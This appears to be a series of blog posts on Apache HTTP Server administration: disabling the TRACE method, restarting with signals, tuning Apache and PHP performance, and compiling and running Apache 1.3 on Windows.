Sep 10

How To Disable Apache the HTTP TRACE method

By jason Apache Server 149 Comments »

Description: How to disable the HTTP TRACE method on recent apache versions.

Most vulnerability scanners (like the popular nessus, but commercial ones also) will complain (normally as a low thread or warning level) about TRACE method being enabled on the web server tested.

Normally you will have this enabled by default, but if you want to test if it is really enabled on your server you just have to telnet on the port your web server is running and request for “TRACE / HTTP/1.0” if you get a positive reply it means TRACE is enabled on your system. The output of a server with TRACE enabled will look like:

telnet 127.0.0.1 80 Trying 127.0.0.1… Connected to 127.0.0.1. Escape character is ‘^]’.
TRACE / HTTP/1.0 Host: foo Any text entered here will be echoed back in the response <- ENTER twice to finish HTTP/1.1 200 OK
Date: Wed, 10 Sep 2009 22:19:36 GMT
Server: Apache/2.2.6 (Debian) PHP/4.4.4-9 mod_ruby/1.2.6 Ruby/1.8.6(2007-06-07)
Connection: close
Content-Type: message/http TRACE / HTTP/1.0
Host: foo Any text entered here will be echoed back in the response Connection closed by foreign host.

Traditionally experts will suggest to disable this using some rewrite rules like:

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]
(this needs to be added somewhere in your main apache config file outside of any vhost or directory config).

Still this has the disadvantage that you need to have mod_rewrite enabled on the server just to mention one. But for apache versions newer than 1.3.34 for the legacy branch, and 2.0.55 (or newer) for apache2 this can be done very easily because there is a new apache variable that controls if TRACE method is enabled or not:
TraceEnable off
This needs to be added in the main server config and the default is enabled (on). TraceEnable off causes apache to return a 403 FORBIDDEN error to the client.

After setting this and reloading the apache config the same server as above shows:

telnet 127.0.0.1 80
Trying 127.0.0.1… Connected to 127.0.0.1.
Escape character is ‘^]’.
TRACE / HTTP/1.0 Host: foo testing… <- ENTER twice HTTP/1.1 403 Forbidden
Date: Wed, 20 Sep 2009 22:28:31 GMT
Server: Apache/2.2.6 (Debian) PHP/4.4.4-9 mod_ruby/1.2.6 Ruby/1.8.6(2007-06-07)
Content-Length: 320 Connection: close
Content-Type: text/html;
charset=iso-8859-1
<!DOCTYPE HTML(link) PUBLIC "-//IETF//DTD HTML(link) 2.0//EN">
<html>
<head>
<title>403 Forbidden</title>
</head>
<body>
<h1>Forbidden</h1>
<p>You don’t have permission to access / on this server.</p>
<hr> <address>Apache/2.2.6 (Debian) PHP/4.4.4-9 mod_ruby/1.2.6 Ruby/1.8.6(2007-06-07) Server at foo Port 80</address>
</body>
</html>
Connection closed by foreign host.

Tagged with: •
Jul 14

Stopping and Restarting Apache

By jason Apache Server No Comments »

This document covers stopping and restarting Apache on Unix only.

You will notice many httpd executables running on your system, but you should not send signals to any of them except the parent, whose pid is in the PidFile. That is to say you shouldn’t ever need to send signals to any process except the parent. There are three signals that you can send the parent: TERM, HUP, and USR1, which will be described in a moment.

To send a signal to the parent you should issue a command such as: 

    kill -TERM `cat /usr/local/apache/logs/httpd.pid`

You can read about its progress by issuing: 

    tail -f /usr/local/apache/logs/error_log

Modify those examples to match your ServerRoot and PidFile settings.

As of Apache 1.3 we provide a script called apachectl which can be used to start, stop, and restart Apache. It may need a little customization for your system, see the comments at the top of the script.

TERM Signal: stop now

Sending the TERM signal to the parent causes it to immediately attempt to kill off all of its children. It may take it several seconds to complete killing off its children. Then the parent itself exits. Any requests in progress are terminated, and no further requests are served.

HUP Signal: restart now

Sending the HUP signal to the parent causes it to kill off its children like in TERM but the parent doesn’t exit. It re-reads its configuration files, and re-opens any log files. Then it spawns a new set of children and continues serving hits.

Users of the status module will notice that the server statistics are set to zero when a HUP is sent.

Note: If your configuration file has errors in it when you issue a restart then your parent will not restart, it will exit with an error. See below for a method of avoiding this.

USR1 Signal: graceful restart

Note: prior to release 1.2b9 this code is quite unstable and shouldn’t be used at all.

The USR1 signal causes the parent process to advise the children to exit after their current request (or to exit immediately if they’re not serving anything). The parent re-reads its configuration files and re-opens its log files. As each child dies off the parent replaces it with a child from the new generation of the configuration, which begins serving new requests immediately.

This code is designed to always respect the MaxClients, MinSpareServers, and MaxSpareServers settings. Furthermore, it respects StartServers in the following manner: if after one second at least StartServers new children have not been created, then create enough to pick up the slack. This is to say that the code tries to maintain both the number of children appropriate for the current load on the server, and respect your wishes with the StartServers parameter.

Users of the status module will notice that the server statistics are not set to zero when a USR1 is sent. The code was written to both minimize the time in which the server is unable to serve new requests (they will be queued up by the operating system, so they’re not lost in any event) and to respect your tuning parameters. In order to do this it has to keep the scoreboard used to keep track of all children across generations.

The status module will also use a G to indicate those children which are still serving requests started before the graceful restart was given.

At present there is no way for a log rotation script using USR1 to know for certain that all children writing the pre-restart log have finished. We suggest that you use a suitable delay after sending the USR1 signal before you do anything with the old log. For example if most of your hits take less than 10 minutes to complete for users on low bandwidth links then you could wait 15 minutes before doing anything with the old log.

Note: If your configuration file has errors in it when you issue a restart then your parent will not restart, it will exit with an error. In the case of graceful restarts it will also leave children running when it exits. (These are the children which are "gracefully exiting" by handling their last request.) This will cause problems if you attempt to restart the server — it will not be able to bind to its listening ports. Before doing a restart, you can check the syntax of the configuration files with the -t command line argument. This still will not guarantee that the server will restart correctly. To check the semantics of the configuration files as well as the syntax, you can try starting httpd as a non-root user. If there are no errors it will attempt to open its sockets and logs and fail because it’s not root (or because the currently running httpd already has those ports bound). If it fails for any other reason then it’s probably a config file error and the error should be fixed before issuing the graceful restart.

Appendix: signals and race conditions

Prior to Apache 1.2b9 there were several race conditions involving the restart and die signals (a simple description of race condition is: a time-sensitive problem, as in if something happens at just the wrong time it won’t behave as expected). For those architectures that have the "right" feature set we have eliminated as many as we can. But it should be noted that there still do exist race conditions on certain architectures.

Architectures that use an on disk ScoreBoardFile have the potential to corrupt their scoreboards. This can result in the "bind: Address already in use" (after HUP) or "long lost child came home!" (after USR1). The former is a fatal error, while the latter just causes the server to lose a scoreboard slot. So it might be advisable to use graceful restarts, with an occasional hard restart. These problems are very difficult to work around, but fortunately most architectures do not require a scoreboard file. See the ScoreBoardFile documentation for a architecture uses it.

NEXT and MACHTEN (68k only) have small race conditions which can cause a restart/die signal to be lost, but should not cause the server to do anything otherwise problematic.

All architectures have a small race condition in each child involving the second and subsequent requests on a persistent HTTP connection (KeepAlive). It may exit after reading the request line but before reading any of the request headers. There is a fix that was discovered too late to make 1.2. In theory this isn’t an issue because the KeepAlive client has to expect these events because of network latencies and server timeouts. In practice it doesn’t seem to affect anything either — in a test case the server was restarted twenty times per second and clients successfully browsed the site without getting broken images or empty documents.

Tagged with: •
Jul 06

Optimizing Apache and PHP

By jason Apache Server No Comments »

Linux, Apache, MySQL, and PHP (or Perl) form the basis of the LAMP architecture for Web applications. Many open source packages based on LAMP components are available to solve a variety of problems. As the load on an application increases, the bottlenecks in the underlying infrastructure become more apparent in the form of slow response to user requests. The previous article showed you how to tune the Linux system and covered the basics of LAMP and performance measurement. This article focuses on the Web server components, Apache and PHP.

Tuning Apache

Apache is a highly configurable piece of software. It has a lot of features, but each one comes at a price. Tuning Apache is partially an exercise in proper allocation of resources, and involves stripping down the configuration to only what’s needed.

Configuring the MPM

Apache is modular in that you can add and remove features easily. Multi-Processing Modules (MPMs) provide this modular functionality at the core of Apache — managing the network connections and dispatching the requests. MPMs let you use threads or even move Apache to a different operating system.

Only one MPM can be active at one time, and it must be compiled in statically with --with-mpm=(worker|prefork|event).

The traditional model of one process per request is called prefork. A newer, threaded, model is called worker, which uses multiple processes, each with multiple threads to get better performance with lower overhead. The final, event MPM is an experimental module that keeps separate pools of threads for different tasks. To determine which MPM you’re currently using, execute httpd -l.

Choosing the MPM to use depends on many factors. Setting aside the event MPM until it leaves experimental status, it’s a choice between threads or no threads. On the surface, threading sounds better than forking, if all the underlying modules are thread safe, including all the libraries used by PHP. Prefork is the safer choice; you should do careful testing if you choose worker. The performance gains also depend on the libraries that come with your distribution and your hardware.

Regardless of which MPM you choose, you must configure it appropriately. In general, configuring an MPM involves telling Apache how to control how many workers are running, whether they’re threads or processes. The important configuration options for the prefork MPM are shown in Listing 1.

Listing 1. Configuration of the prefork MPM

StartServers       50
MinSpareServers   15
MaxSpareServers   30
MaxClients       225
MaxRequestsPerChild  4000

In the prefork model, a new process is created per request. Spare processes are kept idle to handle incoming requests, which reduces the start-up latency. The previous configuration starts 50 processes as soon as the Web server comes up and tries to keep between 10 and 20 idle servers running. The hard limit on processes is dictated by MaxClients. Even though a process can handle many consecutive requests, Apache kills off processes after 4,000 connections, which mitigates the risk of memory leaks.

Configuring the threaded MPMs is similar, except that you must determine how many threads and processes are to be used. The Apache documentation explains all the parameters and calculations necessary.

Choosing the values to use involves some trial and error. The most important value is MaxClients. The goal is to allow enough worker processes or threads to run without causing your server to swap excessively. If more requests come in than can be handled, then at least those that made it through get service; the others are blocked.

If MaxClients is too high, then all clients experience poor service because the Web server tries to swap out one process to allow another one to run. Too low a setting means you may deny services unnecessarily. Checking the number of processes running at high loads and the resulting memory footprint of all the Apache processes gives you a good idea of how to set this value. If you go over 256 MaxClients, you must also set ServerLimit to the same number; read the MPM’s documentation carefully for the associated caveats.

Tuning the number of servers to start and keep spare depends on the role of the server. If the server runs only Apache, you can use modest values as shown in Listing 1, because you’re able to make full use of the machine. If the system is shared with a database or other server, then you should limit the number of spare servers being run.

Using options and overrides efficiently

Each request that Apache processes goes through a complicated set of rules that dictates any restrictions or special instructions the Web server must follow. Access to a folder can be restricted by IP address to a certain folder, or a username and password can be configured. These options also include the handling of certain files, such as if a directory listing is provided, how certain filetypes are to be handled, or whether the output should be compressed.

These configurations take the form of containers in httpd.conf such as <Directory> to specify that the configuration to follow refers to a location on disk, or <Location> to indicate that the reference is to a path in the URL. Listing 2 shows a Directory container in action.

Listing 2. A Directory container being applied to the root directory

<Directory />
    AllowOverride None
    Options FollowSymLinks
</Directory>

In Listing 2, the configuration enclosed in the Directory and /Directory tags is applied to the given directory and everything under it — in this case, the root directory. Here, the AllowOverride tag dictates that users aren’t allowed to override any options (more on this later). The FollowSymLinks option is enabled, which lets Apache look past symlinks to serve the request, even if the file is outside the directory containing Web files. This means that if a file in your Web directory is a symlink to /etc/passwd, the Web server happily serves the file if asked. With -FollowSymLinks used instead, this feature is disabled, and the same request causes an error to be returned to the client.

This last scenario is a cause for concern on two fronts. The first is a performance matter. If FollowSymLinks is disabled, then Apache must check each component of the filename (directories and the file itself) to make sure they’re not symbolic links. This incurs extra overhead in the form of disk activity. A companion option called FollowSymLinksIfOwnerMatch follows the symbolic link if the owner of the file is the same as that of the link. This has the same performance hit as disabling following of symlinks. For best performance, use the options in Listing 2.

Security-conscious readers should be alert by now. Security is always a trade-off between functionality and risk. In this case, the functionality is speed, and the risk is allowing unauthorized access to files on the system. One of the mitigations is that LAMP application servers are generally dedicated to a particular function, and users can’t create the potentially dangerous symbolic links. If it’s vital to have symbolic link-checking enabled, you can restrict it to a particular area of the file system, as in Listing 3.

Listing 3. Restricting FollowSymLinks to a user’s directory

<Directory />
   Options FollowSymLinks
</Directory>

<Directory /home/*/public_html>
   Options -FollowSymLinks
</Directory>

In Listing 3, any public_html directory in a user’s home directory has the FollowSymLinks option removed for it and any child directories.

As you’ve seen, options can be configured on a per-directory basis through the main server configuration. Users can override this server configuration themselves (if permitted by the administrator by the AllowOverrides statement) by dropping a file called .htaccess into a directory. This file contains additional server directives that are loaded and followed on each request to the directory where the .htaccess file resides. Despite the earlier discussion about not having users on the system, many LAMP applications use this functionality to control access and for URL rewriting, so it’s wise to understand how it works.

Even though the AllowOverrides statement prevents users from doing anything you don’t want them to, Apache must still look for the .htaccess file to see if there is any work to be done. A parent directory can specify directives that are to be processed by requests from child directories, which means Apache must also search each component of the directory tree leading to the requested file. Understandably, this causes a great deal of disk activity on each request.

The easiest solution is to not allow any overrides, which eliminates the need for Apache to check for .htaccess. Any special configurations are then placed directly in httpd.conf. Listing 4 shows the additions to httpd.conf to enable password checking for a user’s project directory, rather than putting in a .htaccess file and relying on AllowOverrides.

Listing 4. Moving .htaccess configuration into httpd.conf

<Directory /home/user/public_html/project/>
  AuthUserFile /home/user/.htpasswd
  AuthName "uber secret project"
  AuthType basic
  Require valid-user
</Directory>

If the configuration is moved into httpd.conf and AllowOverrides is disabled, disk usage can be reduced. A user’s project may not attract many hits, but consider how powerful this technique is when applied to a busy site.

Sometimes it’s not possible to eliminate use of .htaccess files. For example, in Listing 5, where an option is restricted to a certain part of the file system, overrides can also be scoped.

Listing 5. Scoping .htaccess checking

<Directory />
  AllowOverrides None
</Directory>

<Directory /home/*/public_html>
  AllowOverrides AuthConfig
</Directory>

After you implement Listing 5, Apache still looks for .htaccess files in the parent directories, but it stops in the public_html directory because the rest of the file system has the functionality disabled. For example, if a file that maps to /home/user/public_html/project/notes.html is requested, only the public_html and project directories are searched.

One final note about per-directory configurations is in order. Any document about tuning Apache will tell you to disable DNS lookups through the HostnameLookups off directive because trying to reverse-resolve every IP address connecting to your server is a waste of resources. However, any limitations based on hostname force the Web server to perform a reverse lookup on the client’s IP address and a forward lookup on the result of that to verify the authenticity of the name. Therefore, it’s wise to avoid using access controls based on the client’s hostname and to scope them as described when they’re necessary.

Persistent connections

When a client connects to a Web server, it’s allowed to issue multiple requests over the same TCP connection, which reduces the latency associated with multiple connections. This is useful when a Web page refers to several images: The client can request the page and then all the images over one connection. The downside is that the worker process on the server has to wait for the session to be closed by the client before it can move on to the next request.

Apache lets you configure how persistent connections, called keepalives, are handled. KeepAlive 5 at the global level of httpd.conf allows the server to handle 5 requests on a connection before forcing the connection closed. Setting this number to 0 disables the use of persistent connections. KeepAliveTimeout, also at the global level, determines how long Apache will wait for another request before closing the session.

Handling persistent connections isn’t a one-size-fits-all configuration. Some Web sites fare better with keepalives disabled (KeepAlive 0), and some experience a tremendous benefit by having them on. The only solution is to try both and see for yourself. It’s advisable, though, to use a low timeout such as 2 seconds with KeepAliveTimeout 2 if you enable keepalives. This ensures that any client wishing to make another request has ample time, and that worker processes aren’t idling while waiting for another request that may never come.

Compression

The Web server can compress the output before it’s sent back to the client. This results in a smaller page being sent over the Internet at the expense of CPU cycles on the Web server. For those servers that can afford the CPU overhead, this is an excellent way of making pages download faster — it isn’t unheard of for pages to be a third of their size after compression.

Images are generally already compressed, so compression should be limited to text output. Apache provides compression through mod_deflate. Although mod_deflate can be simple to turn on, it includes many complexities that the manual is eager to explain. This article doesn’t cover the configuration of compression except to provide a link to the appropriate documentation (see the Resources section.)

Tuning PHP

PHP is the engine that runs the application code. You should install only the modules you plan to use and have your Web server configured to use PHP only for script files (usually those ending in .php) and not all static files.

Opcode caching

When a PHP script is requested, PHP reads the script and compiles it into what’s called Zend opcode, a binary representation of the code to be executed. This opcode is then executed by the PHP engine and thrown away. An opcode cache saves this compiled opcode and reuses it the next time the page is called. This saves a considerable amount of time. Several opcode caches are available; I’ve had a great deal of success with eAccelerator.

Installing eAccelerator requires the PHP development libraries on your computer. Because different Linux distributions place files in difference places, it’s best to get the installation instructions directly from the eAccelerator Web site (see the Resources section for a link). It’s also possible that your distribution has already packaged an opcode cache, and you just have to install it.

Regardless of how you get eAccelerator on your system, there are a few configuration options to look at. The configuration file is usually /etc/php.d/eaccelerator.ini. eaccelerator.shm_size defines the size of the shared memory cache, which is where the compiled scripts are stored. The value is in megabytes. Determining the proper size depends on your application. eAccelerator provides a script to show the status of the cache, which includes the memory usage; 64 megabytes is a good start (eaccelerator.shm_size="64"). You may also have to tweak your kernel’s maximum shared memory size if the value you choose isn’t accepted. Add kernel.shmmax=67108864 to /etc/sysctl.conf, and run sysctl -p to make the setting take effect. The value for kernel.shmmax is in bytes.

If the shared memory allocation is exceeded, eAccelerator must purge old scripts from memory. By default, this is disabled; eaccelerator.shm_ttl = "60" specifies that when eAccelerator runs out of shared memory, any script that hasn’t been accessed in 60 seconds should be purged.

Another popular alternative to eAccelerator is the Alternative PHP Cache (APC). The makers of Zend also have a commercial opcode cache that includes an optimizer to further increase efficiency.

php.ini

You configure PHP in php.ini. Four important settings control how much system resources PHP can consume, as listed in Table 1.

Table 1. Resource related settings in php.ini

Setting Description Recommended value
max_execution_time How many CPU-seconds a script can consume 30
max_input_time How long (seconds) a script can wait for input data 60
memory_limit How much memory (bytes) a script can consume before being killed 32M
output_buffering How much data (bytes) to buffer before sending out to the client 4096

These numbers depend mostly on your application. If you accept large files from users, then max_input_time may have to be increased, either in php.ini or by overriding it in code. Similarly, a CPU- or memory-heavy program may need larger settings. The purpose is to mitigate the effect of a runaway program, so disabling these settings globally isn’t recommended. Another note on max_execution_time: This refers to the CPU time of the process, not the absolute time. Thus a program that does lots of I/O and few calculations may run for much longer than max_execution_time. It’s also how max_input_time can be greater than max_execution_time

The amount of logging that PHP can do is configurable. In a production environment, disabling all but the most critical logs saves disk writes. If logs are needed to troubleshoot a problem, you can turn up logging as needed. error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR turns on enough logging to spot problems but eliminates a lot of chatter from scripts.

Summary

This article focused on tuning the Web server, both Apache and PHP. With Apache, the general idea is to eliminate extra checks the Web server must do, such as processing the .htaccess file. You must also tune the Multi-Processing Module you’re using to balance the system resources used with the availability of idle workers for incoming requests. The best thing you can do for PHP is to install an opcode cache. Keeping your eye on a few resource settings also ensures that scripts don’t hog resources and make the system slow for everyone else.

The next and final article in this series will look at tuning the MySQL database. Stay tuned!

Tagged with: • •
Jun 28

Compiling Apache for Microsoft Windows

By jason Apache Server No Comments »

There are many important points before you begin compiling Apache. See Using Apache with Microsoft Windows before you begin.

Compiling Apache requires Microsoft Visual C++ 5.0 or 6.0 to be properly installed. It can be built with command-line tools, or within the Visual Studio environment. Consult the VC++ manual to determine how to install them. Be especially aware that the vcvars32.bat file from the Program Files/DevStudio/VC/bin folder, and the setenv.bat file from the Platform SDK, may be required to prepare the command-line tools for command-line builds (e.g. using nmake). To install apache with the Makefile.win or the InstallBin project in the Visual Studio IDE, the awk utility is also required.

First, you should install awk.exe where it can be found in the path and the DevStudio environment, if you plan to use the IDE. There are many versions of awk available for Windows; the easiest to install is available from Brian Kernighan’s http://cm.bell-labs.com/cm/cs/who/bwk/ site. When downloading http://cm.bell-labs.com/cm/cs/who/bwk/awk95.exe from this site, you must save it with the name awk.exe rather than awk95.exe.

Note that DevStudio will only find awk.exe if its location is listed under the Tools menu Options… Directories settings for the Executable files. Add the path for awk.exe to this list, as needed.

Then unpack the Apache distribution into an appropriate directory. Open a command-line prompt, and change to the src subdirectory of the Apache distribution.

The master Apache makefile instructions are contained in the Makefile.win file. To compile Apache on Windows NT, simply use one of the following commands:

  • nmake /f Makefile.win _apacher (release build)
  • nmake /f Makefile.win _apached (debug build)

These will both compile Apache. The latter will include debugging information in the resulting files, making it easier to find bugs and track down problems.

If you get an error such as "the name specified is not recognized…" then you need to run vcvars32.bat first. Enter the following command;

  "c:\Program Files\DevStudio\VC\Bin\VCVARS32.BAT"

(you will need to adjust this command so it matches the directory where your VC was installed.)

If you are a Visual C++ 5.0 user, and have installed a recent Platform SDK, you may also need to enter the following command (adjusted for the install directory of the Platform SDK update);

  "c:\Program Files\Platform SDK\SETENV.BAT"

Then try the nmake command again.

Note that the Windows Platform SDK update is required to enable all supported mod_isapi features. The SDK files distributed with Microsoft Visual C++ 5.0 are out of date. Without a recent update, Apache will issue warnings under MSVC++ 5.0 that some mod_isapi features will be disabled. Look for the update at http://msdn.microsoft.com/downloads/sdks/platform/platform.asp.

Apache can also be compiled using VC++’s Visual Studio development environment. To simplify this process, a Visual Studio workspace, Apache.dsw, is provided in the src folder. This workspace exposes the entire list of working .dsp projects that are required for the complete Apache binary release. It includes dependencies between the projects to assure that they are built in the appropriate order. InstallBin is the top-level project that will build all other projects, and install the compiled files into their proper locations.

These .dsp project files are distributed in Visual C++ 6.0 format. Visual C++ 5.0 (97) will recognize them with the single exception of the /ZI flag, which corresponds to the VC 5.0 /Zi flag for debugging symbols. To quickly prepare the .dsp files for the Visual Studio 5.0 (97), you can use the perl scripts distributed in the src\helpers folder:

  cd src\helpers
  cvstodsp5.pl

This command assumes you have a Perl interpreter installed and registered for files of type .pl. The list of converted .dsp project files will be displayed as they are converted. If you contribute back a patch that offers revised project files, please convert them back with the script dsp5tocvs.pl, which puts the projects back to Visual Studio 6.0 format.

The core .dsp projects built by Apache.dsw and makefile.win are:

  1. os\win32\ApacheOS.dsp
  2. os\win32\Win9xConHook.dsp
  3. regex\regex.dsp
  4. ap\ap.dsp
  5. lib\expat-lite\xmltok.dsp
  6. lib\expat-lite\xmlparse.dsp requires xmltok
  7. lib\sdbm.dsp
  8. main\gen_uri_delims.dsp
  9. main\gen_test_char.dsp
  10. ApacheCore.dsp requires all of the above
  11. Apache.dsp requires ApacheCore

In addition, the os\win32 subdirectory contains project files for the optional modules, all of which require ApacheCore.

  1. os\win32\mod_auth_anon.dsp
  2. os\win32\mod_auth_dbm.dsp also requires sdbm
  3. os\win32\mod_auth_digest.dsp
  4. os\win32\mod_cern_meta.dsp
  5. os\win32\mod_digest.dsp
  6. os\win32\mod_expires.dsp
  7. os\win32\mod_headers.dsp
  8. os\win32\mod_info.dsp
  9. os\win32\mod_rewrite.dsp
  10. os\win32\mod_speling.dsp
  11. os\win32\mod_status.dsp
  12. os\win32\mod_usertrack.dsp
  13. os\win32\mod_proxy.dsp

The support\ folder contains project files for additional programs that are not part of the Apache runtime, but are used by the administrator to maintain password and log files.

  1. support\htdigest.dsp
  2. support\htpasswd.dsp
  3. support\logresolve.dsp
  4. support\rotatelogs.dsp

Once Apache has been compiled, it needs to be installed in its server root directory. The default is the \Apache directory, on the current hard drive.

To install the files into the c:\ServerRoot directory automatically, use one the following nmake commands (see above):

  • nmake /f Makefile.win installr INSTDIR=c:\ServerRoot (for release build)
  • nmake /f Makefile.win installd INSTDIR=c:\ServerRoot (for debug build)

The c:\ServerRoot argument to INSTDIR gives the installation directory (it can be omitted if Apache is to be installed into \Apache).

This will install the following:

  • c:\ServerRoot\Apache.exe – Apache program
  • c:\ServerRoot\ApacheCore.dll – Apache runtime [shared library]
  • c:\ServerRoot\Win9xConHook.dll – Win9x console fixups [shared library]
  • c:\ServerRoot\xmlparse.dll – XML parser [shared library]
  • c:\ServerRoot\xmltok.dll – XML token engine [shared library]
  • c:\ServerRoot\bin\*.exe – Administration programs
  • c:\ServerRoot\cgi-bin – Example CGI scripts
  • c:\ServerRoot\conf – Configuration files directory
  • c:\ServerRoot\icons – Icons for FancyIndexing
  • c:\ServerRoot\include\*.h – Apache header files
  • c:\ServerRoot\htdocs – Welcome index.html pages
  • c:\ServerRoot\htdocs\manual – Apache documentation
  • c:\ServerRoot\lib – Static library files
  • c:\ServerRoot\libexec – Dynamic link libraries
  • c:\ServerRoot\logs – Empty logging directory
  • c:\ServerRoot\modules\mod_*.dll – Loadable Apache modules

If you do not have nmake, or wish to install in a different directory, be sure to use a similar naming scheme.

To simplify the process, dependencies between all projects are defined in the Microsoft Visual Studio workspace file: 

   src/Apache.dsw

This assures that lower-level sources are rebuilt from within Visual Studio. The top level project is InstallBin, which invokes Makefile.win to move the compiled executables and dlls. You may personalize the INSTDIR= setting by changing the Settings for InstallBin, Build command line entry under the General tab. The default from within the InstallBin.dsp project is one level up (..) from the src tree. Modify the InstallBin settings and edit the INSTDIR=.. entry to the desired target directory.

Tagged with: • •
Jun 27

Using Apache With Microsoft Windows

By jason Apache Server 1 Comment »

This document explains how to install, configure and run Apache 1.3 under Microsoft Windows. Please note that at this time, Windows support is entirely experimental, and is recommended only for experienced users. The Apache Group does not guarantee that this software will work as documented, or even at all. If you find any bugs, please document them on our bug reporting page. Contributions are welcomed, please submit your code or suggestions to the bug report page, or join the new-httpd mailing list.

The bug reporting page and new-httpd mailing list are not provided to answer questions about configuration or running Apache. Before you submit a bug report or request, first consult this document, the Frequently Asked Questions page and the other relevant documentation topics. If you still have a question or problem, post it to the comp.infosystems.www.servers.ms-windows newsgroup, where many Apache users and several contributions are more than willing to answer new and obscure questions about using Apache on Windows.

groups.google.com’s newsgroup archive offers easy browsing of previous questions. Searching the newsgroup archives, you will usually find your question was already asked and answered by other users!

Warning: Apache on NT has not yet been optimized for performance. Apache still performs best, and is most reliable on Unix platforms. Over time NT performance has improved, and great progress is being made in the upcoming version 2.0 of Apache for the Windows platforms. Folks doing comparative reviews of webserver performance are still asked to compare against Apache on a Unix platform such as Solaris, FreeBSD, or Linux.

Most of this document assumes that you are installing Windows from a binary distribution. If you want to compile Apache yourself (possibly to help with development, or to track down bugs), see Compiling Apache for Microsoft Windows.

Requirements

Apache 1.3 is designed to run on Windows NT 4.0 and Windows 2000. The binary installer will only work with the x86 family of processors, such as Intel’s. Apache may also run on Windows 95 and 98, but these have not been tested. In all cases TCP/IP networking must be installed.

If running on NT 4.0, installing Service Pack 3 or 6 is recommended, as Service Pack 4 created known issues with TCPIP/WinSock integrity that were resolved in later Service Packs.

Note: "Winsock 2" is required for Apache 1.3.7 and later.

If running on Windows 95, the "Winsock2" upgrade must be installed before Apache will run. "Winsock2" for Windows 95 is available here or via here. Be warned that the Dialup Networking 1.2 (MS DUN) updates include a Winsock2 that is entirely insufficient, and the Winsock2 update must be reinstalled after installing Windows 95 dialup networking.

Downloading Apache for Windows

Information on the latest version of Apache can be found on the Apache web server at http://www.apache.org/httpd. This will list the current release, any more recent alpha or beta-test releases, together with details of mirror web and anonymous FTP sites.

You should download the binary build of Apache for Windows named as apache_1_3_#-win32-with_src.msi if you are interested in the source code, or simply apache_1_3_#-win32-no_src.msi if you don’t plan to do anything with the source code and appreciate a faster download. Each of these files contains the complete Apache runtime. You must have the Microsoft Installer version 1.10 installed on your PC before you can install the Apache runtime distributions. Windows 2000 and Windows ME are both delivered with the Microsoft Installer support, others will need to download it. Instructions on locating the Microsoft Installer, as well as the binary distributions of Apache, are found at http://httpd.apache.org/dist/httpd/binaries/win32/

The source code is available in the -with_src.msi distribution, or from the http://httpd.apache.org/dist/httpd/ distribution directory as a .zip file. If you plan on compiling Apache yourself, there is no need to install either .msi package. The .zip file contains only source code, with MS-DOS line endings (that is cr/lf line endings, instead of the single lf used for Unix files.)

While the source is also available as a .tar.gz .tar.Z archive, these contain unix lf line endings that cause grief for Windows users. To use those archives, you must convert at least the .mak and .dsp files to have DOS line endings before MSVC can understand them. Please stick with the .zip file to spare yourself the headache.

Note: prior to 1.3.17 Apache was distributed as an InstallShield 2.0 .exe file. With an increasing number of users unable to run the InstallShield package [on Windows ME or Windows 2000] the binaries were repackaged into the readily available Microsoft Installer .msi format.

Installing Apache for Windows

Run the Apache .msi file you downloaded above. This will prompt you for:

  • your name and company name, and on Windows NT/2000, whether or not you want all users to access Apache as a Service, or if you want it installed to run when you choose the Start Apache shortcut.
  • your Server name, Domain name and administrative email account.
  • the directory to install Apache into (the default is C:\Program Files\Apache Group\Apache although you can change this to any other directory you wish)
  • the installation type. The "Complete" option installs everything, including the source code if you downloaded the -with_src.msi package. Choose the "Custom" install if you choose not to install the documentation, or the source code from that package.

During the installation, Apache will configure the files in the conf directory for your chosen installation directory. However if any of the files in this directory already exist they will not be overwritten. Instead the new copy of the corresponding file will be left with the extension .default. So, for example, if conf\httpd.conf already exists it will not be altered, but the version which would have been installed will be left in conf\httpd.conf.default. After the installation has finished you should manually check to see what in new in the .default file, and if necessary update your existing configuration files.

Also, if you already have a file called htdocs\index.html then it will not be overwritten (no index.html.default file will be installed either). This should mean it is safe to install Apache over an existing installation (but you will have to stop the existing server running before doing the installation, then start the new one after the installation is finished).

After installing Apache, you should edit the configuration files in the conf directory as required. These files will be configured during the install ready for Apache to be run from the directory where it was installed, with the documents served from the subdirectory htdocs. There are lots of other options which should be set before you start really using Apache. However to get started quickly the files should work as installed.

If you eventually uninstall Apache, your configuration files will not be removed. You will need to delete the installation directory tree ("C:\Program Files\Apache Group" by default) yourself if you do not care to keep your configuration and other web files. Since the httpd.conf file is a your accumulated effort in using Apache, you need to take the effort to remove it. The same happens for all other files you may have created, as well as any log files Apache created.

Running Apache for Windows

There are two ways you can run Apache:

  • As a "service" (tested on NT/2000 only, but an experimental version is available for 95/98). This is the best option if you want Apache to automatically start when your machine boots, and to keep Apache running when you log-off.
  • From a console window. This is the best option available for Windows 95/98 users.

Complete the steps below before you attempt to start Apache as a Windows "service"!

To run Apache from a console window, select the "Start Apache as console app" option from the Start menu (in Apache 1.3.4 and earlier, this option was called "Apache Server"). This will open a console window and start Apache running inside it. The window will remain active until you stop Apache. To stop Apache running, either press select the "Shutdown Apache console app" icon option from the Start menu (this is not available in Apache 1.3.4 or earlier), or see Controlling Apache in a Console Window for commands to control Apache in a console window.

In Apache 1.3.13 and above it is now quite safe to press Ctrl+C or Ctrl+Break to stop the Apache in the console window. And on Windows NT/2000 with version 1.3.13, Apache will also gladly stop if you select ‘Close’ from the system menu (clicking the icon on the top-left corner of the console window) or click the close (X) button on the top-right corner. The Close menu item and close (X) button also work on Windows 95/98 as of Apache version 1.3.15. But do not try any of these approaches on earlier versions of the Apache server, since Apache would not clean up.

Testing Apache for Windows

If you have trouble starting Apache please use the following steps to isolate the problem. This applies if you started Apache using the "Start Apache as a console app" shortcut from the Start menu and the Apache console window closes immediately (or unexpectedly) or if you have trouble starting Apache as a service.

Run the "Command Prompt" from the Start Menu – Programs list. Change to the folder to which you installed Apache, type the command apache, and read the error message. Then review the error.log file for configuration mistakes. If you accepted the defaults when you installed Apache, the commands would be:

  c:
  cd "\program files\apache group\apache"
  apache
  Wait for Apache to exit, or press Ctrl+C
  more <logs\error.log

After looking at the error.log you will probably have a good chance of working out what went wrong and be able to fix the problem and try again. Many users discover that the nature of the httpd.conf file is easier to manage and audit than page after page of configuration dialog boxes.

After starting Apache running (either in a console window or as a service) if will be listening to port 80 (unless you changed the Port, Listen or BindAddress directives in the configuration files). To connect to the server and access the default page, launch a browser and enter this URL:

  http://localhost/

